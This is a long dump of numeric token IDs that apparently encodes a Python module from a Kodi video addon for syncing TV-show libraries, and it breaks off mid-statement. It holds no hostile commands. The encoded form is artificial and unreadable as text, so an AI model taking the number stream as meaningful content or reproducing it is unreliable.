29900, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 3888, 7647, 353, 5852, 13, 13, 4706, 515, 7788, 29889, 1982, 29889, 2248, 414, 1053, 23238, 13, 4706, 4452, 353, 23238, 29889, 1022, 275, 2631, 2141, 657, 29898, 12427, 4294, 3257, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29892, 22645, 29922, 8824, 29897, 13, 13, 4706, 1018, 29901, 4452, 353, 518, 10998, 3257, 2396, 474, 1839, 3257, 7464, 525, 6360, 2396, 474, 1839, 6360, 7464, 525, 326, 2585, 2396, 474, 1839, 326, 2585, 7464, 525, 12427, 2585, 2396, 474, 1839, 12427, 2585, 7464, 525, 25682, 2396, 474, 1839, 25682, 7464, 525, 1022, 275, 356, 2396, 474, 1839, 1022, 275, 356, 7464, 525, 12427, 4294, 3257, 2396, 474, 1839, 12427, 4294, 3257, 7464, 525, 1457, 26131, 287, 2396, 474, 1839, 1457, 26131, 287, 2033, 29913, 363, 474, 297, 4452, 29962, 13, 4706, 5174, 29901, 4452, 353, 5159, 13, 13, 4706, 1018, 29901, 13, 9651, 565, 451, 1583, 29889, 700, 412, 29918, 26740, 1275, 525, 3009, 2396, 12020, 8960, 580, 13, 9651, 565, 4452, 1275, 5159, 29901, 12020, 8960, 580, 13, 13, 9651, 1178, 353, 518, 7076, 29961, 29900, 22322, 326, 2585, 7464, 4452, 29961, 29900, 22322, 12427, 2585, 2033, 29962, 13, 13, 9651, 4303, 353, 2761, 29889, 3126, 29878, 6739, 877, 6377, 3126, 29878, 6739, 1115, 376, 29906, 29889, 29900, 613, 376, 5696, 1115, 376, 15167, 12284, 29889, 2577, 8050, 2713, 1242, 613, 376, 7529, 1115, 8853, 11330, 29908, 584, 6796, 326, 2585, 4537, 613, 376, 3257, 613, 376, 6360, 3108, 1118, 376, 333, 1115, 29871, 29896, 29913, 1495, 13, 9651, 4303, 353, 29104, 29898, 1982, 29892, 525, 9420, 29899, 29947, 742, 4436, 2433, 17281, 1495, 13, 9651, 4303, 353, 4390, 29889, 18132, 29898, 1982, 29897, 1839, 2914, 16215, 12427, 845, 1242, 2033, 13, 9651, 4303, 353, 518, 29875, 1839, 3257, 13359, 12508, 877, 9420, 29899, 29947, 1495, 363, 474, 297, 4303, 565, 851, 29898, 29875, 1839, 326, 2585, 4537, 11287, 297, 1178, 470, 313, 29875, 1839, 3257, 13359, 12508, 877, 9420, 29899, 29947, 1495, 1275, 4452, 29961, 29900, 22322, 12427, 4294, 3257, 2033, 322, 851, 29898, 29875, 1839, 6360, 11287, 1275, 4452, 29961, 29900, 22322, 6360, 11287, 3816, 29900, 29962, 13, 13, 9651, 4303, 353, 2761, 29889, 3126, 29878, 6739, 877, 6377, 3126, 29878, 6739, 1115, 376, 29906, 29889, 29900, 613, 376, 5696, 1115, 376, 15167, 12284, 29889, 2577, 29923, 3334, 2631, 613, 376, 7529, 1115, 8853, 4572, 28819, 392, 1115, 518, 6377, 2671, 1115, 376, 12427, 4294, 613, 376, 6891, 1115, 376, 275, 613, 376, 1767, 1115, 11860, 29879, 29908, 6525, 1118, 376, 11330, 1115, 6796, 25682, 613, 376, 1022, 275, 356, 3108, 1118, 376, 333, 1115, 29871, 29896, 10162, 1273, 4303, 29897, 13, 9651, 4303, 353, 29104, 29898, 1982, 29892, 525, 9420, 29899, 29947, 742, 4436, 2433, 17281, 1495, 13, 9651, 4303, 353, 4390, 29889, 18132, 29898, 1982, 29897, 1839, 2914, 16215, 1022, 275, 2631, 2033, 13, 9651, 4303, 353, 6024, 29903, 29995, 29900, 29906, 29881, 29923, 29995, 29900, 29906, 29881, 29915, 1273, 313, 524, 29898, 29875, 1839, 25682, 2033, 511, 938, 29898, 29875, 1839, 1022, 275, 356, 25901, 363, 474, 297, 4303, 29962, 13, 13, 9651, 4452, 353, 518, 29875, 363, 474, 297, 4452, 565, 451, 525, 29903, 29995, 29900, 29906, 29881, 29923, 29995, 29900, 29906, 29881, 29915, 1273, 313, 524, 29898, 29875, 1839, 25682, 2033, 511, 938, 29898, 29875, 1839, 1022, 275, 356, 25901, 297, 4303, 29962, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 4706, 2066, 29918, 23959, 353, 29871, 29900, 13, 13, 4706, 363, 474, 297, 4452, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 1275, 5852, 29901, 736, 10876, 29889, 13322, 580, 13, 13, 18884, 565, 1583, 29889, 3198, 29918, 26740, 1275, 525, 3009, 2396, 13, 462, 1678, 565, 474, 1839, 1022, 275, 356, 2033, 1275, 525, 29896, 2396, 13, 462, 4706, 1583, 29889, 1271, 353, 5852, 13, 462, 4706, 4765, 353, 4303, 29918, 8504, 29889, 3198, 29918, 29879, 2863, 29898, 29875, 1839, 3257, 7464, 474, 1839, 6360, 7464, 474, 1839, 326, 2585, 7464, 474, 1839, 12427, 2585, 7464, 474, 1839, 25682, 7464, 474, 1839, 1022, 275, 356, 7464, 474, 1839, 12427, 4294, 3257, 7464, 474, 1839, 1457, 26131, 287, 11287, 13, 462, 4706, 565, 4765, 29901, 1583, 29889, 1271, 353, 7700, 13, 462, 1678, 565, 1583, 29889, 1271, 1275, 5852, 29901, 12020, 8960, 580, 13, 13, 18884, 7017, 287, 353, 474, 29889, 657, 877, 1457, 26131, 287, 742, 525, 29900, 1495, 13, 18884, 565, 313, 1457, 26131, 287, 2804, 525, 29900, 29915, 322, 938, 29898, 276, 29889, 1491, 877, 22896, 29900, 29899, 29929, 29962, 742, 15516, 851, 29898, 1457, 26131, 287, 4961, 1405, 938, 29898, 1311, 29889, 1256, 876, 470, 313, 1457, 26131, 287, 1275, 525, 29900, 29915, 322, 451, 1583, 29889, 2856, 29918, 26690, 1125, 13, 462, 1678, 6773, 13, 13, 18884, 1583, 29889, 710, 29885, 2283, 29898, 29875, 29897, 13, 18884, 2066, 29918, 23959, 4619, 29871, 29896, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 4706, 565, 3464, 1275, 5852, 29901, 736, 13, 13, 4706, 565, 1583, 29889, 3888, 7647, 1275, 5852, 29901, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29946, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29897, 13, 13, 4706, 565, 1583, 29889, 5258, 29918, 26740, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 1495, 322, 2066, 29918, 23959, 1405, 29871, 29900, 29901, 13, 9651, 2761, 29889, 7978, 877, 6422, 12284, 29898, 9641, 29897, 1495, 13, 13, 13, 1678, 822, 3464, 29898, 1311, 29892, 3142, 1125, 13, 4706, 2761, 29889, 333, 280, 580, 13, 13, 4706, 4874, 353, 2761, 29889, 3582, 1217, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29945, 467, 12508, 877, 9420, 29899, 29947, 5477, 15516, 27255, 13, 4706, 565, 451, 4874, 29901, 736, 13, 13, 4706, 565, 451, 2761, 29889, 1116, 23318, 877, 5907, 29889, 3624, 12911, 29898, 7192, 397, 3658, 29897, 1495, 322, 451, 2761, 29889, 1116, 23318, 877, 9075, 29889, 14510, 15167, 29374, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29906, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 3888, 7647, 353, 5852, 13, 13, 4706, 515, 7788, 29889, 1982, 29889, 2248, 414, 1053, 9631, 845, 1242, 13, 4706, 4452, 353, 9631, 845, 1242, 29889, 12427, 845, 1242, 2141, 657, 29898, 2271, 29892, 22645, 29922, 8824, 29897, 13, 4706, 565, 4452, 1275, 6213, 29901, 4452, 353, 5159, 13, 13, 4706, 363, 474, 297, 4452, 29901, 13, 9651, 1018, 29901, 13, 18884, 565, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 1275, 5852, 29901, 736, 10876, 29889, 13322, 580, 13, 18884, 1583, 29889, 1202, 29898, 29875, 1839, 3257, 7464, 474, 1839, 6360, 7464, 474, 1839, 326, 2585, 7464, 474, 1839, 12427, 2585, 7464, 3464, 29922, 5574, 29897, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 4706, 565, 1583, 29889, 3888, 7647, 1275, 5852, 29901, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29946, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29897, 13, 13, 4706, 565, 1583, 29889, 5258, 29918, 26740, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 29374, 13, 9651, 2761, 29889, 7978, 877, 6422, 12284, 29898, 9641, 29897, 1495, 13, 13, 13, 1678, 822, 851, 29885, 2283, 29898, 1311, 29892, 474, 1125, 13, 4706, 1018, 29901, 13, 9651, 3611, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29892, 4259, 29892, 12720, 29892, 9631, 4294, 3257, 29892, 7017, 287, 353, 474, 1839, 3257, 7464, 474, 1839, 6360, 7464, 474, 1839, 326, 2585, 7464, 474, 1839, 12427, 2585, 7464, 474, 1839, 25682, 7464, 474, 1839, 1022, 275, 356, 7464, 474, 1839, 12427, 4294, 3257, 7464, 474, 1839, 1457, 26131, 287, 2033, 13, 13, 9651, 6010, 397, 300, 1740, 353, 3142, 1982, 29889, 1396, 29918, 11242, 29898, 3257, 29897, 13, 9651, 13107, 1740, 29892, 10876, 1457, 26131, 287, 353, 3142, 1982, 29889, 1396, 29918, 11242, 29898, 12427, 4294, 3257, 511, 3142, 1982, 29889, 1396, 29918, 11242, 29898, 1457, 26131, 287, 29897, 13, 13, 9651, 534, 16220, 1740, 353, 4531, 424, 1740, 29889, 8945, 675, 29898, 12427, 4294, 3257, 29889, 21652, 29898, 8516, 29892, 11297, 24676, 29930, 3026, 25299, 29989, 8785, 13, 13, 9651, 2793, 353, 14210, 29879, 29973, 2467, 29922, 1456, 29987, 3257, 16328, 29879, 29987, 6360, 16328, 29879, 29987, 326, 2585, 16328, 29879, 29987, 12427, 2585, 16328, 29879, 29987, 25682, 16328, 29879, 29987, 1022, 275, 356, 16328, 29879, 29987, 12427, 4294, 3257, 16328, 29879, 29987, 1256, 16328, 29879, 29915, 1273, 313, 9675, 29889, 19218, 29961, 29900, 1402, 6010, 397, 300, 1740, 29892, 1629, 29892, 527, 2585, 29892, 9631, 2585, 29892, 4259, 29892, 12720, 29892, 13107, 1740, 29892, 10876, 1457, 26131, 287, 29897, 13, 13, 9651, 4138, 353, 4303, 29918, 8504, 29889, 5675, 29918, 2084, 29898, 1311, 29889, 5258, 29918, 12083, 29892, 534, 16220, 1740, 29892, 1629, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3258, 29918, 12083, 29898, 12083, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3539, 29918, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12083, 29892, 525, 12427, 4294, 29889, 29876, 1181, 5477, 4303, 29918, 8504, 29889, 29876, 1181, 29918, 2271, 877, 12427, 742, 474, 876, 13, 13, 9651, 4138, 353, 4303, 29918, 8504, 29889, 5675, 29918, 2084, 29898, 1311, 29889, 5258, 29918, 12083, 29892, 534, 16220, 1740, 29892, 1629, 29892, 4259, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3258, 29918, 12083, 29898, 12083, 29897, 13, 9651, 4303, 29918, 8504, 29889, 3539, 29918, 1445, 29898, 359, 29889, 2084, 29889, 7122, 29898, 12083, 29892, 4303, 29918, 8504, 29889, 12018, 29918, 9507, 877, 29995, 29879, 317, 29995, 29900, 29906, 29881, 29923, 29995, 29900, 29906, 29881, 29915, 1273, 313, 509, 16220, 1740, 29892, 938, 29898, 25682, 511, 938, 29898, 1022, 275, 356, 4961, 718, 15300, 710, 29885, 5477, 2793, 29897, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 13, 13, 1990, 619, 915, 3334, 2631, 29901, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 5258, 29918, 12083, 353, 2897, 29889, 2084, 29889, 7122, 29898, 6451, 29889, 3286, 2605, 29898, 6451, 29889, 26740, 877, 5258, 29889, 12427, 1495, 511, 29915, 1495, 13, 13, 4706, 1583, 29889, 5258, 29918, 26740, 353, 2761, 29889, 26740, 877, 5258, 29889, 5504, 1495, 470, 525, 3009, 29915, 13, 4706, 1583, 29889, 2856, 29918, 26690, 353, 2761, 29889, 26740, 877, 5258, 29889, 2856, 29918, 26690, 1495, 470, 525, 3009, 29915, 13, 4706, 1583, 29889, 6799, 353, 14210, 29879, 29918, 5509, 29918, 6799, 29915, 1273, 2761, 29889, 1202, 265, 3401, 877, 978, 2824, 13609, 580, 13, 13, 4706, 1583, 29889, 12673, 353, 313, 12673, 29889, 12673, 29889, 329, 29883, 3707, 580, 448, 12865, 29889, 9346, 287, 2554, 29898, 29882, 2470, 353, 29871, 29945, 876, 13, 4706, 1583, 29889, 1256, 353, 313, 1311, 29889, 12673, 448, 12865, 29889, 9346, 287, 2554, 29898, 29882, 2470, 353, 29871, 29906, 29946, 8106, 710, 615, 603, 877, 29995, 29979, 29995, 29885, 29995, 29881, 1495, 13, 13, 4706, 1583, 29889, 3888, 7647, 353, 7700, 13, 13, 13, 1678, 822, 2767, 29898, 1311, 29892, 2346, 29922, 8516, 29892, 5235, 2433, 3009, 29374, 13, 4706, 565, 451, 2346, 1275, 6213, 29901, 2761, 29889, 333, 280, 580, 13, 13, 4706, 1018, 29901, 13, 13, 9651, 4452, 353, 5159, 13, 9651, 4259, 29892, 12720, 353, 19997, 5159, 13, 9651, 1510, 353, 518, 359, 29889, 2084, 29889, 7122, 29898, 1311, 29889, 5258, 29918, 12083, 29892, 474, 29897, 363, 474, 297, 2761, 29889, 1761, 9170, 29898, 1311, 29889, 5258, 29918, 12083, 9601, 29900, 5262, 13, 9651, 363, 269, 297, 1510, 29901, 13, 18884, 1018, 29901, 4259, 4619, 518, 359, 29889, 2084, 29889, 7122, 29898, 29879, 29892, 474, 29897, 363, 474, 297, 2761, 29889, 1761, 9170, 29898, 29879, 9601, 29900, 5262, 13, 18884, 5174, 29901, 1209, 13, 9651, 363, 269, 297, 4259, 29901, 13, 18884, 1018, 29901, 12720, 29889, 4397, 4197, 359, 29889, 2084, 29889, 7122, 29898, 29879, 29892, 474, 29897, 363, 474, 297, 2761, 29889, 1761, 9170, 29898, 29879, 9601, 29896, 29962, 565, 474, 29889, 1975, 2541, 12839, 710, 29885, 1495, 3816, 29899, 29896, 2314, 13, 18884, 5174, 29901, 1209, 13, 13, 9651, 363, 934, 297, 12720, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 934, 353, 2761, 29889, 3150, 2283, 29898, 1445, 29897, 13, 462, 1678, 1303, 353, 934, 29889, 949, 580, 13, 462, 1678, 1303, 353, 1303, 29889, 12508, 877, 9420, 29899, 29947, 1495, 13, 462, 1678, 934, 29889, 5358, 580, 13, 13, 462, 1678, 565, 451, 1303, 29889, 27382, 2541, 29898, 9675, 29889, 19218, 29961, 29900, 29962, 1125, 12020, 8960, 580, 13, 13, 462, 1678, 8636, 353, 9657, 29898, 2271, 5510, 29889, 5510, 29918, 29939, 2536, 29898, 949, 29889, 6506, 877, 29973, 3788, 29915, 4961, 13, 13, 462, 1678, 1018, 29901, 9631, 4294, 3257, 353, 8636, 1839, 12427, 4294, 3257, 2033, 13, 462, 1678, 5174, 29901, 9631, 4294, 3257, 353, 6213, 13, 462, 1678, 1018, 29901, 9631, 4294, 3257, 353, 8636, 1839, 4294, 2033, 13, 462, 1678, 5174, 29901, 1209, 13, 462, 1678, 565, 9631, 4294, 3257, 1275, 6213, 470, 9631, 4294, 3257, 1275, 525, 2396, 12020, 8960, 580, 13, 13, 462, 1678, 1629, 29892, 527, 2585, 29892, 9631, 2585, 353, 8636, 1839, 6360, 7464, 8636, 1839, 326, 2585, 7464, 8636, 1839, 12427, 2585, 2033, 13, 13, 462, 1678, 527, 2585, 353, 525, 698, 29915, 718, 337, 29889, 1491, 877, 22896, 29900, 29899, 29929, 29962, 742, 15516, 851, 29898, 326, 2585, 876, 13, 13, 462, 1678, 1018, 29901, 27702, 2585, 353, 8636, 1839, 18276, 2585, 2033, 13, 462, 1678, 5174, 29901, 27702, 2585, 353, 525, 29900, 29915, 13, 13, 462, 1678, 4452, 29889, 4397, 3319, 29915, 12427, 4294, 3257, 2396, 9631, 4294, 3257, 29892, 525, 6360, 2396, 1629, 29892, 525, 326, 2585, 2396, 527, 2585, 29892, 525, 18276, 2585, 2396, 27702, 2585, 29892, 525, 12427, 2585, 2396, 9631, 2585, 1800, 13, 18884, 5174, 29901, 13, 462, 1678, 1209, 13, 13, 9651, 4452, 353, 518, 29875, 363, 921, 29892, 474, 297, 26985, 29898, 7076, 29897, 565, 474, 451, 297, 4452, 29961, 29916, 718, 29871, 29896, 29901, 5262, 13, 9651, 565, 7431, 29898, 7076, 29897, 1275, 29871, 29900, 29901, 12020, 8960, 580, 13, 4706, 5174, 29901, 13, 9651, 736, 13, 13, 4706, 1018, 29901, 13, 9651, 4303, 353, 2761, 29889, 3126, 29878, 6739, 877, 6377, 3126, 29878, 6739, 1115, 376, 29906, 29889, 29900, 613, 376, 5696, 1115, 376, 15167, 12284, 29889, 2577, 8050, 2713, 1242, 613, 376, 7529, 1115, 8853, 11330, 29908, 584, 6796, 326, 2585, 4537, 613, 376, 3257, 613, 376, 6360, 3108, 1118, 376, 333, 1115, 29871, 29896, 29913, 1495, 13, 9651, 4303, 353, 29104, 29898, 1982, 29892, 525, 9420, 29899, 29947, 742, 4436, 2433, 17281, 1495, 13, 9651, 4303, 353, 4390, 29889, 18132, 29898, 1982, 29897, 1839, 2914, 16215, 12427, 845, 1242, 2033, 13, 4706, 5174, 29901, 13, 9651, 736, 13, 13, 4706, 565, 5235, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 5907, 29889, 3624, 12911, 29898, 7192, 397, 3658, 29897, 1495, 322, 451, 2761, 29889, 1116, 23318, 877, 9075, 29889, 14510, 15167, 29374, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29941, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 29900, 29897, 13, 9651, 1583, 29889, 3888, 7647, 353, 5852, 13, 13, 4706, 1018, 29901, 13, 9651, 2761, 29889, 5675, 2283, 29898, 6451, 29889, 1272, 2605, 29897, 13, 9651, 4833, 535, 353, 2566, 29889, 6915, 29898, 6451, 29889, 1982, 8173, 2283, 29897, 13, 9651, 4833, 2764, 353, 4833, 535, 29889, 18127, 580, 13, 9651, 4833, 2764, 29889, 7978, 703, 27045, 10911, 10762, 6058, 28731, 9631, 845, 1242, 4852, 29908, 333, 323, 12194, 29892, 5124, 7076, 323, 12194, 29892, 5124, 3904, 29902, 11144, 29898, 333, 5513, 1496, 1159, 13, 4706, 5174, 29901, 13, 9651, 736, 13, 13, 4706, 1018, 29901, 13, 9651, 515, 7788, 29889, 1982, 29889, 2248, 414, 1053, 23238, 13, 4706, 5174, 29901, 13, 9651, 736, 13, 13, 4706, 2066, 29918, 23959, 353, 29871, 29900, 13, 13, 4706, 363, 2944, 297, 4452, 29901, 13, 9651, 372, 353, 6213, 13, 13, 9651, 565, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 1275, 5852, 29901, 736, 10876, 29889, 13322, 580, 13, 13, 9651, 1018, 29901, 13, 18884, 4833, 2764, 29889, 7978, 703, 6404, 334, 3895, 9631, 845, 1242, 5754, 1178, 353, 14210, 29879, 11838, 1273, 2944, 1839, 12427, 2585, 11287, 13, 18884, 6699, 353, 4833, 2764, 29889, 9155, 650, 580, 13, 18884, 372, 353, 19745, 29898, 9155, 29961, 29896, 1822, 12508, 877, 9420, 29899, 29947, 8785, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 9651, 1018, 29901, 13, 18884, 565, 451, 372, 1275, 6213, 29901, 12020, 8960, 580, 13, 13, 18884, 372, 353, 23238, 29889, 1022, 275, 2631, 2141, 657, 29898, 667, 1839, 12427, 4294, 3257, 7464, 2944, 1839, 6360, 7464, 2944, 1839, 326, 2585, 7464, 2944, 1839, 12427, 2585, 7464, 22645, 29922, 8824, 29897, 13, 13, 18884, 4660, 353, 372, 29961, 29900, 22322, 4882, 13359, 13609, 580, 13, 13, 18884, 372, 353, 518, 10998, 3257, 2396, 474, 1839, 3257, 7464, 525, 6360, 2396, 474, 1839, 6360, 7464, 525, 326, 2585, 2396, 474, 1839, 326, 2585, 7464, 525, 12427, 2585, 2396, 474, 1839, 12427, 2585, 7464, 525, 25682, 2396, 474, 1839, 25682, 7464, 525, 1022, 275, 356, 2396, 474, 1839, 1022, 275, 356, 7464, 525, 12427, 4294, 3257, 2396, 474, 1839, 12427, 4294, 3257, 7464, 525, 1457, 26131, 287, 2396, 474, 1839, 1457, 26131, 287, 2033, 29913, 363, 474, 297, 372, 29962, 13, 13, 18884, 565, 4660, 1275, 525, 20621, 292, 2396, 12020, 8960, 580, 13, 18884, 4833, 2764, 29889, 7978, 703, 19460, 11646, 9631, 845, 1242, 2630, 1041, 313, 14579, 1577, 19123, 313, 667, 1839, 12427, 2585, 7464, 2062, 29898, 277, 4961, 13, 18884, 4833, 535, 29889, 15060, 580, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 9651, 1018, 29901, 13, 18884, 1178, 353, 518, 667, 1839, 326, 2585, 7464, 2944, 1839, 12427, 2585, 2033, 29962, 13, 18884, 565, 451, 2944, 1839, 18276, 2585, 2033, 1275, 525, 29900, 2396, 1178, 4619, 518, 667, 1839, 18276, 2585, 2033, 29962, 13, 13, 18884, 9358, 353, 518, 29916, 1839, 3257, 13359, 12508, 877, 9420, 29899, 29947, 1495, 363, 921, 297, 4303, 565, 851, 29898, 29916, 1839, 326, 2585, 4537, 11287, 297, 1178, 470, 313, 29916, 1839, 3257, 13359, 12508, 877, 9420, 29899, 29947, 1495, 1275, 2944, 1839, 12427, 4294, 3257, 2033, 322, 851, 29898, 29916, 1839, 6360, 11287, 1275, 2944, 1839, 6360, 11287, 3816, 29900, 29962, 13, 18884, 9358, 353, 2761, 29889, 3126, 29878, 6739, 877, 6377, 3126, 29878, 6739, 1115, 376, 29906, 29889, 29900, 613, 376, 5696, 1115, 376, 15167, 12284, 29889, 2577, 29923, 3334, 2631, 613, 376, 7529, 1115, 8853, 4572, 28819, 392, 1115, 518, 6377, 2671, 1115, 376, 12427, 4294, 613, 376, 6891, 1115, 376, 275, 613, 376, 1767, 1115, 11860, 29879, 29908, 6525, 1118, 376, 11330, 1115, 6796, 25682, 613, 376, 1022, 275, 356, 3108, 1118, 376, 333, 1115, 29871, 29896, 10162, 1273, 9358, 29897, 13, 18884, 9358, 353, 29104, 29898, 1022, 29892, 525, 9420, 29899, 29947, 742, 4436, 2433, 17281, 1495, 13, 18884, 9358, 353, 4390, 29889, 18132, 29898, 1022, 467, 657, 877, 2914, 742, 6571, 467, 657, 877, 1022, 275, 2631, 742, 426, 1800, 13, 18884, 9358, 353, 518, 10998, 25682, 2396, 938, 29898, 29875, 1839, 25682, 2033, 511, 525, 1022, 275, 356, 2396, 938, 29898, 29875, 1839, 1022, 275, 356, 2033, 2915, 363, 474, 297, 9358, 29962, 13, 18884, 9358, 353, 12705, 29898, 1022, 29892, 1820, 29922, 2892, 921, 29901, 313, 29916, 1839, 25682, 7464, 921, 1839, 1022, 275, 356, 25901, 14352, 29896, 29962, 13, 13, 18884, 954, 353, 518, 29916, 363, 921, 29892, 29891, 297, 26985, 29898, 277, 29897, 565, 851, 29898, 29891, 1839, 25682, 11287, 1275, 851, 29898, 1022, 1839, 25682, 11287, 322, 851, 29898, 29891, 1839, 1022, 275, 356, 11287, 1275, 851, 29898, 1022, 1839, 1022, 275, 356, 11287, 3816, 29899, 29896, 29962, 13, 18884, 372, 353, 518, 29891, 363, 921, 29892, 29891, 297, 26985, 29898, 277, 29897, 565, 921, 1405, 954, 29962, 13, 18884, 565, 7431, 29898, 277, 29897, 1275, 29871, 29900, 29901, 6773, 13, 9651, 5174, 29901, 13, 18884, 6773, 13, 13, 9651, 363, 474, 297, 372, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 565, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 1275, 5852, 29901, 736, 10876, 29889, 13322, 580, 13, 13, 462, 1678, 7017, 287, 353, 474, 29889, 657, 877, 1457, 26131, 287, 742, 525, 29900, 1495, 13, 462, 1678, 565, 313, 1457, 26131, 287, 2804, 525, 29900, 29915, 322, 938, 29898, 276, 29889, 1491, 877, 22896, 29900, 29899, 29929, 29962, 742, 15516, 851, 29898, 1457, 26131, 287, 4961, 1405, 938, 29898, 1311, 29889, 1256, 876, 470, 313, 1457, 26131, 287, 1275, 525, 29900, 29915, 322, 451, 1583, 29889, 2856, 29918, 26690, 1125, 13, 462, 4706, 6773, 13, 13, 462, 1678, 619, 3116, 29894, 845, 1242, 2141, 710, 29885, 2283, 29898, 29875, 29897, 13, 462, 1678, 2066, 29918, 23959, 4619, 29871, 29896, 13, 18884, 5174, 29901, 13, 462, 1678, 1209, 13, 13, 4706, 565, 1583, 29889, 3888, 7647, 1275, 5852, 29901, 13, 9651, 2761, 29889, 3888, 7647, 29898, 6451, 29889, 3893, 29898, 29941, 29906, 29945, 29945, 29946, 467, 12508, 877, 9420, 29899, 29947, 5477, 931, 29922, 29896, 29897, 13, 13, 4706, 565, 1583, 29889, 5258, 29918, 26740, 1275, 525, 3009, 29915, 322, 451, 2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 1495, 322, 2066, 29918, 23959, 1405, 29871, 29900, 29901, 13, 9651, 2761, 29889, 7978, 877, 6422, 12284, 29898, 9641, 29897, 1495, 13, 13, 13, 1678, 822, 2669, 29898, 1311, 1125, 13, 4706, 1018, 29901, 13, 9651, 4303, 29918, 8504, 29889, 3258, 29918, 12083, 29898, 359, 29889, 2084, 29889, 7122, 29898, 6451, 29889, 3286, 2605, 29898, 6451, 29889, 26740, 877, 5258, 29889, 27362, 1495, 511, 6629, 876, 13, 9651, 4303, 29918, 8504, 29889, 3258, 29918, 12083, 29898, 359, 29889, 2084, 29889, 7122, 29898, 6451, 29889, 3286, 2605, 29898, 6451, 29889, 26740, 877, 5258, 29889, 12427, 1495, 511, 6629, 876, 13, 4706, 5174, 29901, 13, 9651, 1209, 13, 308, 13, 4706, 1018, 29901, 13, 9651, 2761, 29889, 5675, 2283, 29898, 6451, 29889, 1272, 2605, 29897, 13, 9651, 4833, 535, 353, 2566, 29889, 6915, 29898, 6451, 29889, 1982, 8173, 2283, 29897, 13, 9651, 4833, 2764, 353, 4833, 535, 29889, 18127, 580, 13, 9651, 4833, 2764, 29889, 7978, 703, 27045, 10911, 10762, 6058, 28731, 2669, 4852, 29908, 26740, 323, 12194, 29892, 5124, 1767, 323, 12194, 29892, 5124, 3904, 29902, 11144, 29898, 26740, 5513, 1496, 1159, 13, 9651, 4833, 2764, 29889, 7978, 703, 6404, 334, 3895, 2669, 5754, 4444, 353, 525, 4230, 29918, 3389, 29915, 1159, 13, 9651, 6699, 353, 4833, 2764, 29889, 9155, 650, 580, 13, 9651, 565, 6699, 1275, 6213, 29901, 13, 18884, 2669, 4854, 353, 376, 29896, 29929, 29955, 29900, 29899, 29900, 29896, 29899, 29900, 29896, 29871, 29906, 29941, 29901, 29945, 29929, 29901, 29900, 29900, 29889, 29900, 29900, 29900, 29900, 29900, 29900, 29908, 13, 18884, 4833, 2764, 29889, 7978, 703, 19460, 11646, 2669, 2630, 1041, 313, 14579, 1577, 19123, 6702, 4230, 29918, 3389, 742, 2669, 4854, 876, 13, 18884, 4833, 535, 29889, 15060, 580, 13, 9651, 1683, 29901, 13, 18884, 2669, 4854, 353, 851, 29898, 9155, 29961, 29896, 2314, 13, 9651, 4833, 535, 29889, 5358, 580, 13, 4706, 5174, 29901, 13, 9651, 1018, 29901, 736, 4833, 535, 29889, 5358, 580, 13, 9651, 5174, 29901, 736, 13, 13, 4706, 1018, 29901, 2761, 29889, 7165, 29889, 842, 4854, 29898, 1311, 29889, 6799, 29892, 2669, 4854, 29897, 13, 4706, 5174, 29901, 736, 13, 13, 4706, 1550, 451, 921, 5838, 29883, 29889, 370, 441, 3089, 287, 29901, 13, 9651, 1018, 29901, 13, 18884, 2669, 4854, 353, 2761, 29889, 7165, 29889, 657, 4854, 29898, 1311, 29889, 6799, 29897, 13, 13, 18884, 260, 29896, 353, 12865, 29889, 9346, 287, 2554, 29898, 29882, 2470, 29922, 29953, 29897, 13, 18884, 260, 29906, 353, 12865, 29889, 12673, 29889, 710, 415, 603, 29898, 5509, 4854, 29892, 14210, 29979, 19222, 29885, 19222, 29881, 1273, 29950, 16664, 29924, 16664, 29903, 29889, 29995, 29888, 1495, 13, 18884, 260, 29941, 353, 12865, 29889, 12673, 29889, 3707, 580, 13, 13, 18884, 1423, 353, 6425, 29898, 29873, 29941, 448, 260, 29906, 29897, 1405, 260, 29896, 13, 18884, 565, 1423, 1275, 7700, 29901, 12020, 8960, 580, 13, 13, 18884, 565, 313, 6451, 29889, 9106, 29889, 275, 13454, 292, 580, 470, 